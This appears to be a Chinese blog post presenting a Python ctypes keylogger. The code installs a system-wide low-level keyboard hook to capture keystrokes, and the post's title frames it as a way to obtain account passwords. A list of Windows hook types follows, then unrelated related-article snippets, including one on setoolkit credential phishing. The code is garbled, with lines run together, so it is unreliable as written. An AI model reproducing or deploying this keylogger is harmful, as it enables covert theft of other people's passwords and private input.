Python2.7.x版本

chr(lParam[0])会出现下面的类型转换错误,造成溢出的异常,在Python2.X版本的int是无限大,而C语言的长度有限制,所以就会出现这种溢出错误

hookedKey = chr(lParam[0])
OverflowError: Python int too large to convert to C long

加个按位与,防止溢出: chr(0xFFFFFFFF&lParam[0])

# -*- coding: cp936 -*-
import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORDuser32 = windll.user32
kernel32 = windll.kernel32WH_KEYBOARD_LL = 13
WM_KEYDOWN = 0x0100
CTRL_CODE = 162#定义拥有挂钩与拆钩功能的类
class KeyLogger:def __init__(self):self.lUser32 = user32self.hooked = None#定义挂钩函数:使用user32DLL的SetWindowsHookExA函数设置钩子#监听的事件为WHKEYBOAD_LL,范围设置为操作系统中运行的所有线程def installHookProc(self, pointer):self.hooked = self.lUser32.SetWindowsHookExA(WH_KEYBOARD_LL,pointer,kernel32.GetModuleHandleW(None),0)if not self.hooked:return Falsereturn True#定义拆钩函数:调用user32Dll的UnhookWindowsHookEx()函数def uninstallHookProc(self):if self.hooked is None:returnself.lUser32.UnhookWindowsHookEx(self.hooked)self.hooked = None#获取函数指针:若想注册钩子过程(回调函数),必须传入函数指针
#通过CFUNCTYPE()函数指定SetWindowshookExA()函数所需要的钩子过程的参数与参数类
#通过CMPFUNC()函数获取内部声明的函数指针
def getFPTR(fn):CMPFUNC = CFUNCTYPE(c_int, c_int, c_int, POINTER(c_void_p))return CMPFUNC(fn)#定义钩子过程:钩子过程是一种回调函数,指定事件发生时,调用其执行相应处理
#若到来的消息类型是WM__KEYDOWN,则将消息值,输出到屏幕;若消息与<CTRL>键的值一致,则拆除钩子
#处理完毕后,将控制权限让给勾连中的其他钩子过程(CallNextHookEx()函数)
def hookProc(nCode, wParam, lParam):if wParam is not WM_KEYDOWN:return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)hookedKey = chr(0xFFFFFFFF&lParam[0])print(hookedKey,lParam[0],lParam[1]),#print(int(lParam[0]))#if(CTRL_CODE == int(lParam[0])):if(int(lParam[0])==124554051746):print("按下了Ctrl键,调用钩子拆除")keyLogger.uninstallHookProc()sys.exit(-1)return user32.CallNextHookEx(keyLogger.hooked, nCode, wParam, lParam)#传递消息:GetMessageA()函数监视队列,消息进入队列后取出消息,并传递给钩链中的第一个钩子
def startKeyLog():msg = MSG()user32.GetMessageA(byref(msg), 0, 0, 0)#启动消息钩取,installHookProc()函数设置钩子,同时注册钩子过程回调函数
#最后调用startKeyLog()函数,将进入队列的消息传递给钩链
keyLogger = KeyLogger()
pointer = getFPTR(hookProc)if keyLogger.installHookProc(pointer):print("钩子程序启动")startKeyLog()

下面是一些常用钩子类型对应的代码值

WH_JOURNALRECORD = 0,
WH_JOURNALPLAYBACK = 1,
WH_KEYBOARD = 2,
WH_GETMESSAGE = 3,
WH_CALLWNDPROC = 4,
WH_CBT = 5,
WH_SYSMSGFILTER = 6,
WH_MOUSE = 7,
WH_HARDWARE = 8,
WH_DEBUG = 9,
WH_SHELL = 10,
WH_FOREGROUNDIDLE = 11,
WH_CALLWNDPROCRET = 12,
WH_KEYBOARD_LL = 13,
WH_MOUSE_LL = 14

WH_JOURNALRECORD Hook用来监视和记录输入事件。典型的,可以使用这个Hook记录连续的鼠标和键盘事件,然后通过使用WH_JOURNALPLAYBACK Hook来回放

WH_KEYBOARD Hook用来监视WM_KEYDOWN and WM_KEYUP消息,这些消息通过GetMessage or PeekMessage function返回。可以使用这个Hook来监视输入到消息队列中的键盘消息。

WH_KEYBOARD_LL Hook监视输入到线程消息队列中的键盘消息。

WH_GETMESSAGE Hook来监视从GetMessage or PeekMessage函数返回的消息。你可以使用WH_GETMESSAGE Hook去监视鼠标和键盘输入,以及其他发送到消息队列中的消息。

WH_CALLWNDPROC和WH_CALLWNDPROCRET Hooks使你可以监视发送到窗口过程的消息。系统在消息发送到接收窗口过程之前调用WH_CALLWNDPROC Hook子程,并且在窗口过程处理完消息之后调用WH_CALLWNDPROCRET Hook子程。 WH_CALLWNDPROCRET Hook传递指针到CWPRETSTRUCT结构,再传递到Hook子程。CWPRETSTRUCT结构包含了来自处理消息的窗口过程的返回值,同样也包括了与这个消息关联的消息参数。

WH_CBT Hook被调用的事件包括:
1. 激活,建立,销毁,最小化,最大化,移动,改变尺寸等窗口事件;
2. 完成系统指令;
3. 来自系统消息队列中的移动鼠标,键盘事件;
4. 设置输入焦点事件;
5. 同步系统消息队列事件。
Hook子程的返回值确定系统是否允许或者防止这些操作中的一个。

WH_SYSMSGFILTER Hook监视所有应用程序消息。WH_MSGFILTER Hook只能监视传递到菜单,滚动条,消息框的消息,以及传递到通过安装了Hook子程的应用程序建立的对话框的消息。

WH_MOUSE Hook监视从GetMessage 或者 PeekMessage 函数返回的鼠标消息。使用这个Hook监视输入到消息队列中的鼠标消息。WH_MOUSE_LL Hook监视输入到线程消息队列中的鼠标消息。

WH_DEBUG Hook在系统调用系统中与其他Hook关联的Hook子程之前,系统会调用WH_DEBUG Hook子程。你可以使用这个Hook来决定是否允许系统调用与其他Hook关联的Hook子程

WH_SHELL 共有5钟情况:
1. 只要有个top-level、unowned 窗口被产生、起作用、或是被摧毁;
2. 当Taskbar需要重画某个按钮;
3. 当系统需要显示关于Taskbar的一个程序的最小化形式;
4. 当目前的键盘布局状态改变;
5. 当使用者按Ctrl+Esc去执行Task Manager(或相同级别的程序)。 按照惯例,外壳应用程序都不接收WH_SHELL消息。所以,在应用程序能够接收WH_SHELL消息之前,应用程序必须调用SystemParametersInfo function注册它自己。

WH_FOREGROUNDIDLE 当应用程序的前台线程处于空闲状态时,可以使用WH_FOREGROUNDIDLE Hook执行低优先级的任务。当应用程序的前台线程大概要变成空闲状态时,系统就会调用WH_FOREGROUNDIDLE Hook子程

Python【WINAPI】钩子程序获取账号密码等键盘输入信息相关推荐

  1. python调用js批量爆破账号密码

    python调用js批量爆破账号密码 前言 流程 爬取账号 爆破 参考文章 前言 在进行默认弱口令爆破的时候遇到了使用js对账号密码加密,而且加密算法写的比较复杂,如果用python重新写一个加密算法 ...

  2. 使用setoolkit进行社会工程学攻击获取账号密码

    今天继续给大家介绍渗透测试相关知识,本文主要内容是使用setoolkit进行社会工程学攻击获取账号密码. 免责声明: 本文所介绍的内容仅做学习交流使用,严禁利用文中技术进行非法行为,否则造成一切严重后 ...

  3. python输入多个整数 输入quit表示结束_代码实现程序启动后, 可以从键盘输入接收多个整数, 直到输入quit时结束输入. 把所有输入的整数倒序排列打印...

    package com.loaderman.test; import java.util.Comparator; import java.util.Scanner; import java.util. ...

  4. 3.8编写程序 ,要求用户从键盘输入一个年份,程序输出改年出生的人的生肖。中国生肖基于12年一个周期,Java

    1. 题目要求   编写程序 ,要求用户从键盘输入一个年份,程序输出改年出生的人的生肖.中国生肖基于12年一个周期,   每年一个生肖代表.鼠(rat).牛(ox).虎(tiger).兔(rabbit ...

  5. PTA 最大和最小 (10 分)请使用指针法(间接访问)编写程序,程序的功能是从键盘输入 10 个数,求其最大值和最小值的差。

    请使用指针法(间接访问)编写程序,程序的功能是从键盘输入 10 个数,求其最大值和最小值的差. 输入格式: 输入10个整数 输出格式: 无 输入样例: 1 2 3 4 5 6 7 8 9 10 输出样 ...

  6. 请使用指针的方法编写程序,程序的功能是从键盘输入一个字符串(字符串长度小于100),删除其中的字母a后输出。例如,输入字符串abcaca,输出bcc。

    请使用指针的方法编写程序,程序的功能是从键盘输入一个字符串(字符串长度小于100),删除其中的字母a后输出.例如,输入字符串abcaca,输出bcc. 输入样例: abcaca 输出样例: bcc 代 ...

  7. 7-1 给出成绩等级 (6 分)编写一程序实现以下功能从键盘输入一个一百分制成绩,如果不在0~100范围内,则要求重新输入数据,直到输入的数据在0~100范围内。将输入的数据转换成等级‘A’

    7-1 给出成绩等级 (6 分) 编写一程序实现以下功能 从键盘输入一个一百分制成绩,如果不在0-100范围内,则要求重新输入数据,直到输入的数据在0-100范围内. 将输入的数据转换成等级'A',' ...

  8. 有程序在记录你的键盘输入_12个用Java编写基础小程序amp;经典案例(收藏)

    点击上方"潭州教育EDU"关注我们 如果是刚接触或者刚学习java,练习一些基础的算法还是必须的,可以提升思维和语法的使用. 1.输出两个int数中的最大值 import java ...

  9. vc++6.0 模拟鼠标点击代码 木马程序的编写 VC 模拟键盘输入

    From: http://fengqing888.blog.163.com/blog/static/33011416201112124481/ MFC 工程 把以下代码放到你想要响应的函数里面就行 C ...

最新文章

  1. 斯坦福公开课 密码学 cryptography 1 思维导图
  2. 微课|中学生可以这样学Python(1.3节):Python代码编写规范
  3. js打印(控件)及多种方式
  4. WinMM.dll 函数汇总
  5. (转载)Jvm工作原理学习笔记
  6. Protel99seMEX3
  7. C++ UPD广播异步发包工具
  8. 单片机数码管显示原理
  9. Java基本语法笔记
  10. Ceph 集群监控之Calamari 安装部署
  11. rar格式压缩包无法下载,zip可以下载
  12. python学习笔记——libpng warning: iCCP: known incorrect sRGB profile 警告,问题解决
  13. 六、HSV颜色空间应用实例——颜色分割提取与替换
  14. Markdown进阶
  15. 不要随意使用批量加QQ好友软件,不然你一定会后悔的!
  16. 一些通信方面的专业术语
  17. el-table 合计并放表格最上方
  18. 淘宝天猫抓包评论地址
  19. 综述:基于骨骼(skeleton)的动作识别方法
  20. 简单三步搭建公司内部论坛:将论坛发布公网 2-2

热门文章

  1. MySQL--禁用账号和设置账号有效期
  2. UVA 216 - Getting in Line
  3. SQL Server 数据库维护脚本合集[007]-删除数据库所有用户表数据
  4. asp Upload
  5. 类的垂直关系中,如何把握纯虚函数
  6. C++_函数_函数的占位参数_函数重载---C++语言工作笔记034
  7. SpringCloud工作笔记070---SpringCloud中使用Redis存储List类型数据
  8. java整理软件---java模拟键盘,鼠标操作
  9. pycharm远程调试报错cant ser remote tunneling
  10. qt纯c++编程增加多线程支持库